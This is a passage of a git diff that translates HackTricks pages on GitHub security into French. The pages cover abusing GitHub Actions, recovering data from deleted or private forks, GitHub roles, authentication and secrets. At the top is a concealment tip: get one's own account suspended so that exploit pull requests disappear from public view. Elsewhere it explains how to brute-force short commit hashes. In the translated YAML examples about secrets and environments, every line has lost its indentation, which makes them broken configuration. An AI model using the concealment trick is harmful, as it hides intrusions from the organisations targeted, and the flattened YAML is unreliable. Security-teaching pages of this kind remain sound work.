+(Technique de [**ici**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Sur GitHub, par défaut, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a un twist. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité, vous devez soit faire **suspendre votre compte GitHub, soit faire signaler votre compte**. Cela **cacherait toutes vos activités** sur GitHub d'internet (en gros, supprimer toutes vos PR d'exploitation)
 
-An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
+Une organisation sur GitHub est très proactive dans le signalement des comptes à GitHub. Tout ce que vous avez à faire est de partager "certaines choses" dans un problème et ils s'assureront que votre compte est suspendu dans les 12 heures :p et voilà, vous avez rendu votre exploitation invisible sur github.
 
 > [!WARNING]
-> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+> La seule façon pour une organisation de comprendre qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM, car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
 
-## Tools
+## Outils
 
-The following tools are useful to find Github Action workflows and even find vulnerable ones:
+Les outils suivants sont utiles pour trouver des workflows Github Action et même en trouver des vulnérables :
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index ae156de2d..c22abf205 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1,6 +1 @@
-# Gh Actions - Artifact Poisoning
-
-
-
-
-
+# Gh Actions - Poisonnement d'Artifact
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 024aa5ff8..436eb3f9b 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1,6 +1 @@
-# GH Actions - Cache Poisoning
-
-
-
-
-
+# GH Actions - Poisonnement de Cache
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 3cd632bd0..48a437d3a 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,6 +1 @@
-# Gh Actions - Context Script Injections
-
-
-
-
-
+# Gh Actions - Injections de Script de Contexte
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index f19fa699e..9ba7f0d45 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,60 +1,56 @@
-# Accessible Deleted Data in Github
+# Données supprimées accessibles dans Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Ces façons d'accéder aux données de Github qui étaient supposément supprimées ont été [**rapportées dans cet article de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
 
-## Accessing Deleted Fork Data
+## Accéder aux données de fork supprimé
 
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
+1. Vous fork un dépôt public
+2. Vous committez du code dans votre fork
+3. Vous supprimez votre fork
 
 > [!CAUTION]
-> The data commited in the deleted fork is still accessible.
+> Les données commises dans le fork supprimé sont toujours accessibles.
 
-## Accessing Deleted Repo Data
+## Accéder aux données de dépôt supprimé
 
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
+1. Vous avez un dépôt public sur GitHub.
+2. Un utilisateur fork votre dépôt.
+3. Vous committez des données après qu'il l'ait forké (et il ne synchronise jamais son fork avec vos mises à jour).
+4. Vous supprimez l'ensemble du dépôt.
 
 > [!CAUTION]
-> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
+> Même si vous avez supprimé votre dépôt, tous les changements apportés à celui-ci sont toujours accessibles via les forks.
 
-## Accessing Private Repo Data
+## Accéder aux données de dépôt privé
 
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
+1. Vous créez un dépôt privé qui sera éventuellement rendu public.
+2. Vous créez une version interne privée de ce dépôt (via le fork) et committez du code supplémentaire pour des fonctionnalités que vous ne rendrez pas publiques.
+3. Vous rendez votre dépôt "upstream" public et gardez votre fork privé.
 
 > [!CAUTION]
-> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
+> Il est possible d'accéder à toutes les données poussées vers le fork interne entre le moment où le fork interne a été créé et le moment où la version publique a été rendue publique.
 
-## How to discover commits from deleted/hidden forks
+## Comment découvrir des commits de forks supprimés/cachés
 
-The same blog post propose 2 options:
+Le même article de blog propose 2 options :
 
-### Directly accessing the commit
+### Accéder directement au commit
 
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
+Si la valeur de l'ID de commit (sha-1) est connue, il est possible d'y accéder à `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
 
-### Brute-forcing short SHA-1 values
+### Bruteforcer des valeurs SHA-1 courtes
 
-It's the same to access both of these:
+C'est la même chose pour accéder à ces deux :
 
 - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
 - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
 
-And the latest one use a short sha-1 that is bruteforceable.
+Et le dernier utilise un sha-1 court qui est bruteforcable.
 
-## References
+## Références
 
 - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index ae1365a0f..dbfd4c19b 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,250 +1,244 @@
-# Basic Github Information
+# Informations de base sur Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Structure
+## Structure de base
 
-The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
+La structure de base de l'environnement github d'une grande **entreprise** est de posséder une **entreprise** qui possède **plusieurs organisations** et chacune d'elles peut contenir **plusieurs dépôts** et **plusieurs équipes**. Les petites entreprises peuvent simplement **posséder une organisation et aucune entreprise**.
 
-From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
+Du point de vue d'un utilisateur, un **utilisateur** peut être **membre** de **différentes entreprises et organisations**. Au sein de celles-ci, l'utilisateur peut avoir **différents rôles d'entreprise, d'organisation et de dépôt**.
 
-Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
+De plus, un utilisateur peut être **membre de différentes équipes** avec différents rôles d'entreprise, d'organisation ou de dépôt.
 
-And finally **repositories may have special protection mechanisms**.
+Et enfin, **les dépôts peuvent avoir des mécanismes de protection spéciaux**.
 
-## Privileges
+## Privilèges
 
-### Enterprise Roles
+### Rôles d'entreprise
 
-- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **Propriétaire d'entreprise** : Les personnes ayant ce rôle peuvent **gérer les administrateurs, gérer les organisations au sein de l'entreprise, gérer les paramètres de l'entreprise, appliquer des politiques à travers les organisations**. Cependant, elles **ne peuvent pas accéder aux paramètres ou au contenu de l'organisation** à moins d'être désignées comme propriétaire de l'organisation ou d'avoir un accès direct à un dépôt appartenant à l'organisation.
+- **Membres d'entreprise** : Les membres des organisations appartenant à votre entreprise sont également **automatiquement membres de l'entreprise**.
 
-### Organization Roles
+### Rôles d'organisation
 
-In an organisation users can have different roles:
+Dans une organisation, les utilisateurs peuvent avoir différents rôles :
 
-- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
-  - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **Propriétaires d'organisation** : Les propriétaires d'organisation ont **un accès administratif complet à votre organisation**. Ce rôle doit être limité, mais à pas moins de deux personnes, dans votre organisation.
+- **Membres d'organisation** : Le rôle **par défaut**, non administratif pour **les personnes dans une organisation** est le membre de l'organisation. Par défaut, les membres de l'organisation **ont un certain nombre de permissions**.
+- **Gestionnaires de facturation** : Les gestionnaires de facturation sont des utilisateurs qui peuvent **gérer les paramètres de facturation de votre organisation**, tels que les informations de paiement.
+- **Gestionnaires de sécurité** : C'est un rôle que les propriétaires d'organisation peuvent attribuer à n'importe quelle équipe dans une organisation. Lorsqu'il est appliqué, il donne à chaque membre de l'équipe des permissions pour **gérer les alertes de sécurité et les paramètres à travers votre organisation, ainsi que des permissions de lecture pour tous les dépôts** dans l'organisation.
+- Si votre organisation a une équipe de sécurité, vous pouvez utiliser le rôle de gestionnaire de sécurité pour donner aux membres de l'équipe le minimum d'accès dont ils ont besoin à l'organisation.
+- **Gestionnaires d'applications Github** : Pour permettre à des utilisateurs supplémentaires de **gérer les applications GitHub appartenant à une organisation**, un propriétaire peut leur accorder des permissions de gestionnaire d'applications GitHub.
+- **Collaborateurs externes** : Un collaborateur externe est une personne qui a **accès à un ou plusieurs dépôts de l'organisation mais n'est pas explicitement membre** de l'organisation.
 
-You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Vous pouvez **comparer les permissions** de ces rôles dans ce tableau : [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Members Privileges
+### Privilèges des membres
 
-In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+Dans _https://github.com/organizations/\<org_name>/settings/member_privileges_, vous pouvez voir les **permissions que les utilisateurs auront juste pour faire partie de l'organisation**.
 
-The settings here configured will indicate the following permissions of members of the organisation:
+Les paramètres configurés ici indiqueront les permissions suivantes des membres de l'organisation :
 
-- Be admin, writer, reader or no permission over all the organisation repos.
-- If members can create private, internal or public repositories.
-- If forking of repositories is possible
-- If it's possible to invite outside collaborators
-- If public or private sites can be published
-- The permissions admins has over the repositories
-- If members can create new teams
+- Être administrateur, rédacteur, lecteur ou aucune permission sur tous les dépôts de l'organisation.
+- Si les membres peuvent créer des dépôts privés, internes ou publics.
+- Si le fork des dépôts est possible.
+- S'il est possible d'inviter des collaborateurs externes.
+- Si des sites publics ou privés peuvent être publiés.
+- Les permissions que les administrateurs ont sur les dépôts.
+- Si les membres peuvent créer de nouvelles équipes.
 
-### Repository Roles
+### Rôles de dépôt
 
-By default repository roles are created:
+Par défaut, les rôles de dépôt sont créés :
 
-- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-- **Write**: Recommended for contributors who **actively push to your project**
-- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **Lecture** : Recommandé pour **les contributeurs non-code** qui souhaitent voir ou discuter de votre projet.
+- **Triage** : Recommandé pour **les contributeurs qui doivent gérer proactivement les problèmes et les demandes de tirage** sans accès en écriture.
+- **Écriture** : Recommandé pour les contributeurs qui **poussent activement vers votre projet**.
+- **Maintenir** : Recommandé pour **les chefs de projet qui doivent gérer le dépôt** sans accès à des actions sensibles ou destructrices.
+- **Administrateur** : Recommandé pour les personnes qui ont besoin d'un **accès complet au projet**, y compris des actions sensibles et destructrices comme la gestion de la sécurité ou la suppression d'un dépôt.
 
-You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Vous pouvez **comparer les permissions** de chaque rôle dans ce tableau [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
+Vous pouvez également **créer vos propres rôles** dans _https://github.com/organizations/\<org_name>/settings/roles_.
 
-### Teams
+### Équipes
 
-You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+Vous pouvez **lister les équipes créées dans une organisation** dans _https://github.com/orgs/\<org_name>/teams_. Notez que pour voir les équipes qui sont des enfants d'autres équipes, vous devez accéder à chaque équipe parente.
 
-### Users
+### Utilisateurs
 
-The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
+Les utilisateurs d'une organisation peuvent être **listés** dans _https://github.com/orgs/\<org_name>/people_.
 
-In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
+Dans les informations de chaque utilisateur, vous pouvez voir les **équipes dont l'utilisateur est membre**, et les **dépôts auxquels l'utilisateur a accès**.
 
-## Github Authentication
+## Authentification Github
 
-Github offers different ways to authenticate to your account and perform actions on your behalf.
+Github offre différentes manières de s'authentifier à votre compte et d'effectuer des actions en votre nom.
 
-### Web Access
+### Accès Web
 
-Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
+En accédant à **github.com**, vous pouvez vous connecter en utilisant votre **nom d'utilisateur et mot de passe** (et un **2FA potentiellement**).
 
-### **SSH Keys**
+### **Clés SSH**
 
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la **clé privée associée d'effectuer des actions en votre nom**. [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **GPG Keys**
+#### **Clés GPG**
 
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert en envoyant des commits sans signature**. En savoir plus sur [le mode vigilant ici](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
-### **Personal Access Tokens**
+### **Jetons d'accès personnels**
 
-You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Vous pouvez générer un jeton d'accès personnel pour **donner à une application accès à votre compte**. Lors de la création d'un jeton d'accès personnel, l'**utilisateur** doit **spécifier** les **permissions** que le **jeton** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
-### Oauth Applications
+### Applications Oauth
 
-Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
+Les applications Oauth peuvent vous demander des permissions **pour accéder à une partie de vos informations github ou pour vous usurper** afin d'effectuer certaines actions. Un exemple courant de cette fonctionnalité est le **bouton de connexion avec github** que vous pourriez trouver sur certaines plateformes.
 
-- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
+- Vous pouvez **créer** vos propres **applications Oauth** dans [https://github.com/settings/developers](https://github.com/settings/developers).
+- Vous pouvez voir toutes les **applications Oauth qui ont accès à votre compte** dans [https://github.com/settings/applications](https://github.com/settings/applications).
+- Vous pouvez voir les **scopes que les applications Oauth peuvent demander** dans [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps).
+- Vous pouvez voir l'accès des applications tierces dans une **organisation** dans _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_.
 
-Some **security recommendations**:
+Quelques **recommandations de sécurité** :
 
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- Une **application OAuth** doit toujours **agir en tant qu'utilisateur GitHub authentifié sur l'ensemble de GitHub** (par exemple, lors de la fourniture de notifications utilisateur) et avec accès uniquement aux scopes spécifiés.
+- Une application OAuth peut être utilisée comme fournisseur d'identité en activant un "Login with GitHub" pour l'utilisateur authentifié.
+- **Ne pas** créer une **application OAuth** si vous souhaitez que votre application agisse sur un **dépôt unique**. Avec le scope `repo`, les applications OAuth peuvent **agir sur _tous_** les dépôts de l'utilisateur authentifié.
+- **Ne pas** créer une application OAuth pour agir en tant qu'application pour votre **équipe ou entreprise**. Les applications OAuth s'authentifient en tant qu'**utilisateur unique**, donc si une personne crée une application OAuth pour une entreprise à utiliser, et qu'elle quitte ensuite l'entreprise, personne d'autre n'aura accès à celle-ci.
+- **Plus** ici [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
-### Github Applications
+### Applications Github
 
-Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
+Les applications Github peuvent demander des permissions pour **accéder à vos informations github ou vous usurper** afin d'effectuer des actions spécifiques sur des ressources spécifiques. Dans les applications Github, vous devez spécifier les dépôts auxquels l'application aura accès.
 
-- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-- The GitHub App should **connect to a personal account or an organisation**.
-- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
+- Pour installer une application GitHub, vous devez être un **propriétaire d'organisation ou avoir des permissions d'administrateur** dans un dépôt.
+- L'application GitHub doit **se connecter à un compte personnel ou à une organisation**.
+- Vous pouvez créer votre propre application Github dans [https://github.com/settings/apps](https://github.com/settings/apps).
+- Vous pouvez voir toutes les **applications Github qui ont accès à votre compte** dans [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations).
+- Voici les **points de terminaison API pour les applications Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). En fonction des permissions de l'application, elle pourra accéder à certaines d'entre elles.
+- Vous pouvez voir les applications installées dans une **organisation** dans _https://github.com/organizations/\<org_name>/settings/installations_.
 
-Some security recommendations:
+Quelques recommandations de sécurité :
 
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Une application GitHub doit **prendre des actions indépendamment d'un utilisateur** (à moins que l'application n'utilise un [jeton utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Pour garder les jetons d'accès utilisateur-à-serveur plus sécurisés, vous pouvez utiliser des jetons d'accès qui expireront après 8 heures, et un jeton de rafraîchissement qui peut être échangé contre un nouveau jeton d'accès. Pour plus d'informations, voir "[Rafraîchir les jetons d'accès utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Assurez-vous que l'application GitHub s'intègre avec **des dépôts spécifiques**.
+- L'application GitHub doit **se connecter à un compte personnel ou à une organisation**.
+- Ne vous attendez pas à ce que l'application GitHub sache et fasse tout ce qu'un utilisateur peut.
+- **Ne pas utiliser une application GitHub si vous avez juste besoin d'un service "Login with GitHub"**. Mais une application GitHub peut utiliser un [flux d'identification utilisateur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) pour connecter les utilisateurs _et_ faire d'autres choses.
+- Ne créez pas une application GitHub si vous _voulez seulement_ agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
+- Si vous utilisez votre application avec GitHub Actions et souhaitez modifier des fichiers de workflow, vous devez vous authentifier au nom de l'utilisateur avec un jeton OAuth qui inclut le scope `workflow`. L'utilisateur doit avoir des permissions d'administrateur ou d'écriture sur le dépôt contenant le fichier de workflow. Pour plus d'informations, voir "[Comprendre les scopes pour les applications OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Plus** ici [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
-### Github Actions
+### Actions Github
 
-This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
+Ce **n'est pas un moyen de s'authentifier dans github**, mais une **action** Github malveillante pourrait obtenir un **accès non autorisé à github** et **selon** les **privilèges** accordés à l'action, plusieurs **attaques différentes** pourraient être réalisées. Voir ci-dessous pour plus d'informations.
 
-## Git Actions
+## Actions Git
 
-Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
+Les actions Git permettent d'automatiser l'**exécution de code lorsqu'un événement se produit**. En général, le code exécuté est **d'une certaine manière lié au code du dépôt** (peut-être construire un conteneur docker ou vérifier que la PR ne contient pas de secrets).
 
 ### Configuration
 
-In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+Dans _https://github.com/organizations/\<org_name>/settings/actions_, il est possible de vérifier la **configuration des actions github** pour l'organisation.
 
-It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
+Il est possible d'interdire complètement l'utilisation des actions github, **d'autoriser toutes les actions github**, ou simplement d'autoriser certaines actions.
 
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
+Il est également possible de configurer **qui a besoin d'approbation pour exécuter une Action Github** et les **permissions du GITHUB_TOKEN** d'une Action Github lorsqu'elle est exécutée.
 
-### Git Secrets
+### Secrets Git
 
-Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
-
-These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
+Les Actions Github ont généralement besoin d'un certain type de secrets pour interagir avec github ou des applications tierces. Pour **éviter de les mettre en texte clair** dans le dépôt, github permet de les mettre en tant que **Secrets**.
 
+Ces secrets peuvent être configurés **pour le dépôt ou pour toute l'organisation**. Ensuite, pour que l'**Action puisse accéder au secret**, vous devez le déclarer comme :
 ```yaml
 steps:
-  - name: Hello world action
-    with: # Set the secret as an input
-      super_secret:${{ secrets.SuperSecret }}
-    env: # Or as an environment variable
-      super_secret:${{ secrets.SuperSecret }}
+- name: Hello world action
+with: # Set the secret as an input
+super_secret:${{ secrets.SuperSecret }}
+env: # Or as an environment variable
+super_secret:${{ secrets.SuperSecret }}
 ```
-
-#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
-
+#### Exemple utilisant Bash <a href="#example-using-bash" id="example-using-bash"></a>
 ```yaml
 steps:
-  - shell: bash
-    env: SUPER_SECRET:${{ secrets.SuperSecret }}
-    run: |
-      example-command "$SUPER_SECRET"
+- shell: bash
+env: SUPER_SECRET:${{ secrets.SuperSecret }}
+run: |
+example-command "$SUPER_SECRET"
 ```
-
 > [!WARNING]
-> Secrets **can only be accessed from the Github Actions** that have them declared.
+> Les secrets **ne peuvent être accessibles que depuis les Github Actions** qui les ont déclarés.
 
-> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
+> Une fois configurés dans le dépôt ou les organisations, **les utilisateurs de github ne pourront plus y accéder**, ils pourront seulement **les modifier**.
 
-Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
+Par conséquent, la **seule façon de voler les secrets github est de pouvoir accéder à la machine qui exécute l'Action Github** (dans ce scénario, vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
 
-### Git Environments
-
-Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
+### Environnements Git
 
+Github permet de créer **des environnements** où vous pouvez enregistrer **des secrets**. Ensuite, vous pouvez donner à l'action github l'accès aux secrets à l'intérieur de l'environnement avec quelque chose comme :
 ```yaml
 jobs:
-  deployment:
-    runs-on: ubuntu-latest
-    environment: env_name
+deployment:
+runs-on: ubuntu-latest
+environment: env_name
 ```
-
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+Vous pouvez configurer un environnement pour être **accessible** par **toutes les branches** (par défaut), **uniquement les branches protégées** ou **spécifier** quelles branches peuvent y accéder.\
